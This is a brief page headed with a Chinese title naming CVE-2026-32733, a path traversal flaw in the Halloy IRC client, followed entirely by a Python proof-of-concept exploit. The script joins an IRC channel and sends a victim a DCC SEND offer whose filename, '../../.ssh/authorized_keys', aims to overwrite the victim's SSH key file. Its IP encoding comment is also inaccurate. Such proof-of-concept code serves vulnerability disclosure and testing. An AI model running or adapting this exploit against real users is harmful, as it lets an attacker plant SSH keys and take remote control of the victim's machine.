CVE-2026-32733 Halloy路径遍历漏洞

import socket # This is a proof of concept to demonstrate the vulnerability. # It sends a malicious DCC SEND request to a target IRC server/channel. # The malicious filename contains path traversal sequences. TARGET_IP = "127.0.0.1" TARGET_PORT = 6667 NICKNAME = "attacker" CHANNEL = "#test" VICTIM_NICK = "victim" # Malicious filename attempting to write to .ssh/authorized_keys # Adjust the path traversal depth based on the victim's save_directory configuration MALICIOUS_FILENAME = "../../.ssh/authorized_keys" FAKE_IP = "127000001" # 127.0.0.1 in hex for DCC FAKE_PORT = "4444" FILE_SIZE = "100" def send_exploit(): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.connect((TARGET_IP, TARGET_PORT)) # IRC Handshake sock.send(f"NICK {NICKNAME}\r\n".encode()) sock.send(f"USER {NICKNAME} 0 * :{NICKNAME}\r\n".encode()) sock.send(f"JOIN {CHANNEL}\r\n".encode()) # Send malicious DCC SEND request # Format: PRIVMSG <target> :\x01DCC SEND <filename> <ip> <port> <size>\x01 payload = f"PRIVMSG {VICTIM_NICK} :\x01DCC SEND {MALICIOUS_FILENAME} {FAKE_IP} {FAKE_PORT} {FILE_SIZE}\x01\r\n" sock.send(payload.encode()) print(f"[+] Sent malicious DCC SEND request with filename: {MALICIOUS_FILENAME}") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": send_exploit()